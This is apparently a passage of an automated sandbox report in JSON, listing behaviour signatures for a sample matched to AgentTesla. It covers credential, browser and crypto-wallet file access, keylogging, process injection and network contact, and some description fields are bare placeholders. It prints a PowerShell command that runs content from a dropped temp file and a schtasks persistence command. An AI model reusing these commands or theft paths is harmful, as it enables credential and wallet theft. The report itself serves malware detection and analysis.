'%TEMP%\\\\daemonisk\\\\prvelsens\\\\noneclectically\\\\Recife\\\\Opfindendes\\\\Perlemoret\\\\Servitudes\\\\Margarines.Pos' ; powershell.Exe \"$fe32\"\" (UID: 00000000-00003272)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"wlanext.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"33622189\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"NewTextDocumentmod.exse.exe\" called \"GetComputerNameW\" (UID: 00000000-00004672)\n \"schtasks.exe\" called \"GetComputerNameW\" (UID: 00000000-00000672)\n \"spfasiazx.exe\" called \"GetComputerNameW\" (UID: 00000000-00006536)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003272)\n \"RegSvcs.exe\" called \"GetComputerNameW\" (UID: 00000000-00000428)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00002816)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"Kolodi.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"abc5aa8\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$b2","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to perform sql operations (Dotnet)","description":"$b3","origin":"Static Parser","mitre_attack_id":"T1213","relevance":1,"id":"static-175","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$b4","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDevice\" (Indicator: \"QueryDosDevice\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to API \"QueryDosDevice\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"$b5","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Content\"; Source: \"00000000-00001896.00000001.72578.037C0000.00000004.mdmp, 00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$b6","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\"%APPDATA%\\Microsoft\\Credentials\\*\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00001896-00000C28-62232809394\")\n \"%APPDATA%\\Microsoft\\Vault\\*\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00001896-00000C28-62273026769\")\n \"%LOCALAPPDATA%\\Microsoft\\Credentials\\*\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00001896-00000C28-62348537575\")\n \"%LOCALAPPDATA%\\Microsoft\\Vault\\*\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00001896-00000C28-62516498345\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to file managers","description":"$b7","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"$b8","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: rise.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: wlanext.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 1.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: build3.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"spfasiazx.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")\n \"alex.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")\n \"Kolodi.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")\n \"Kolodi.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$b9","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"-windowstyle minimized $fe32 = Get-Content '%TEMP%\\\\daemonisk\\\\prvelsens\\\\noneclectically\\\\Recife\\\\Opfindendes\\\\Perlemoret\\\\Servitudes\\\\Margarines.Pos' ; powershell.Exe \"$fe32\"\" (UID: 00000000-00003272)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; File: \"wlanext.exe.3735795350\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; File: \"wlanext.exe.3735795350\")\n Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00000276.00000000.69632.00407000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000276.00000000.69632.00407000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyExA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000276.00000000.69632.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to format disks","description":"file/memory contains long string with (Indicator: \"format \"; File: \"is-0BNU4.tmp\")","origin":"File/Memory","mitre_attack_id":"T1561.001","relevance":1,"id":"string-407","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to MS Word template folder","description":"Found string \"??\\C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Templates\\*\" (Indicator: \"\\roaming\\microsoft\\templates\"; Source: \"00000000-00001896.00000001.72578.037C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1137.001","relevance":1,"id":"string-440","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Kolodi.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Kolodi.exe.log]- [targetUID: 00000000-00001896]\n Dropped file: \"powershell.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log]- [targetUID: 00000000-00003272]\n Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00003272]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003272]\n Dropped file: \"spfasiazx.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\spfasiazx.exe.log]- [targetUID: 00000000-00006536]\n Dropped file: \"alex.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\alex.exe.log]- [targetUID: 00000000-00004944]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"background.png\" has type \"PNG image data 2560 x 1440 8-bit/color RGBA non-interlaced\" and extension \"png\"\n \"logoLarge.gif\" has type \"GIF image data version 89a 354 x 520\" and extension \"gif\"\n \"tai-ku.gif\" has type \"GIF image data version 89a 100 x 100\" and extension \"gif\"\n \"logoMed.gif\" has type \"GIF image data version 87a 120 x 181\" and extension \"gif\"\n \"pwrdLogo200.gif\" has type \"GIF image data version 89a 130 x 200\" and extension \"gif\"\n \"pwrdLogo175.gif\" has type \"GIF image data version 89a 113 x 175\" and extension \"gif\"\n \"pwrdLogo150.gif\" has type \"GIF image data version 89a 97 x 150\" and extension \"gif\"\n \"logo100.gif\" has type \"GIF image data version 89a 68 x 100\" and extension \"gif\"\n \"logo64.gif\" has type \"GIF image data version 89a 43 x 64\" and extension \"gif\"\n \"pwrdLogo100.gif\" has type \"GIF image data version 89a 64 x 100\" and extension \"gif\"\n \"pwrdLogo75.gif\" has type \"GIF image data version 89a 48 x 75\" and extension \"gif\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"C:\\Windows\\System32\\RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"C:\\Windows\\System32\\RuntimeBroker.exe -Embedding\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"???\n .boot with unusual entropies 7.99709827326\n 7.95909958279","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques using MAC address detection","description":"\"b41f-0800274Settingsxx\" (Indicator: \"080027\")\n \"USRCLA~1.BLFUsrClass.dat{d2747a47-2058-11e8-b41f-0800274b5076}.TM.blf\" (Indicator: \"080027\")\n \"USRCLA~1.REGUsrClass.dat{d2747a47-2058-11e8-b41f-0800274b5076}.TMContainer00000000000000000001.regtrans-ms\" (Indicator: \"080027\")\n \"SRCLA~2.REGUsrClass.dat{d2747a47-2058-11e8-b41f-0800274b5076}.TMContainer00000000000000000002.regtrans-msloap\" (Indicator: \"080027\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":10,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"4/91 reputation engines marked \"https://urlhaus.abuse.ch/downloads/text_online/\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$ba","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The analysis extracted file with a known ransomware suffix","description":"$bb","origin":"Binary File","mitre_attack_id":"T1491.001","relevance":10,"id":"binary-22","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$bc","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"NewTextDocumentmod.exse.exe\" marked \"C:\\a\\Creal.exe\" for deletion\n \"NewTextDocumentmod.exse.exe\" marked \"C:\\a\\buildz.exe\" for deletion\n \"wlanext.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nst9925.tmp\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3ty1f3ne.trq.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xqbetfql.2s1.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kao2my22.fbv.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bfltotrz.hrp.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"alex.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\" - (UID: 00000000-00004944)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Found a system process name at an unusual pathway","description":"Process \"wlanext.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00000276)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Queries firmware table information (may be used to fingerprint/evade)","description":"\"Kolodi.exe\" at 00000000-00001896-00000C13-77980989\n \"Kolodi.exe\" at 00000000-00001896-00000C13-77981634","origin":"API Call","mitre_attack_id":"T1120","relevance":10,"id":"api-65","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Windows system process connects to a network","description":"Process \"RegSvcs.exe\" connects to 64.185.227.156:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Cryptographic Related","name":"Hooks key cryptographic functions of the CryptoAPI","description":"\"BCryptImportKey@BCRYPT.DLL\" in \"wlanext.exe\"\n \"BCryptEncrypt@BCRYPT.DLL\" in \"wlanext.exe\"\n \"BCryptDecrypt@BCRYPT.DLL\" in \"wlanext.exe\"\n \"BCryptImportKeyPair@BCRYPT.DLL\" in \"wlanext.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-1","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"$bd","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"$be","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 733B0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN build3.exe /TR \"C:\\\\a\\\\build3.exe\" /F\" (UID: 00000000-00000672)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"spfasiazx.exe\" set thread context in remote process \"C:\\a\\spfasiazx.exe\" (PID: 1988)\n \"alex.exe\" set thread context in remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\" (PID: 1ac)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")\n \"ps://api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n \"ttps://api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"api.ipify.org\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - AgentTesla","description":"YARA signature Malware.AgentTesla matched on process \"00000000-00002712\"","origin":"YARA Signature","relevance":10,"id":"yara-4","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Found FTP credentials location strings","description":"\"SOFTWARE\\FTPWare\\COREFTP\\Sites\" (Indicator: \"\\coreftp\\\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp\n \"P Navigator\\Ftplist.txt\" (Indicator: \"ftplist.txt\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp\n \"ualStore\\Program Files (x86)\\FTP Commander\\Ftplist.txt\" (Indicator: \"ftplist.txt\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp\n \"\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt\" (Indicator: \"ftplist.txt\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp\n \"es (x86)\\FTP Commander Deluxe\\Ftplist.txt\" (Indicator: \"ftplist.txt\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp\n \"ware\\DownloadManager\\Passwords\\\" (Indicator: \"\\downloadmanager\\passwords\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp\n \"dio\\ChromePlus\\User Data\" (Indicator: \"\\chromeplus\\\") in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1552.001","relevance":6,"id":"string-11","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"Kolodi.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\COINOMI\\COINOMI\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\ELECTRUM\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\ETHEREUM\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\EXODUS\\EXODUS.WALLET\"\n \"Kolodi.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\MONERO\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"%LOCALAPPDATA%\\COINOMI\\COINOMI\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"%APPDATA%\\ELECTRUM\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"%APPDATA%\\ETHEREUM\\WALLETS\"\n \"Kolodi.exe\" trying to touch file \"%APPDATA%\\EXODUS\\EXODUS.WALLET\"\n \"Kolodi.exe\" trying to touch file \"%USERPROFILE%\\Documents\\MONERO\\WALLETS\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$bf","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$c0","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal desktop applications information (file access)","description":"\"Kolodi.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\DISCORD\\LOCAL STORAGE\\LEVELDB\"\n \"Kolodi.exe\" trying to touch file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to attach base64 encoded attachment to an email","description":"Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; File: \"00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; File: \"00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132.001","relevance":3,"id":"string-588","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 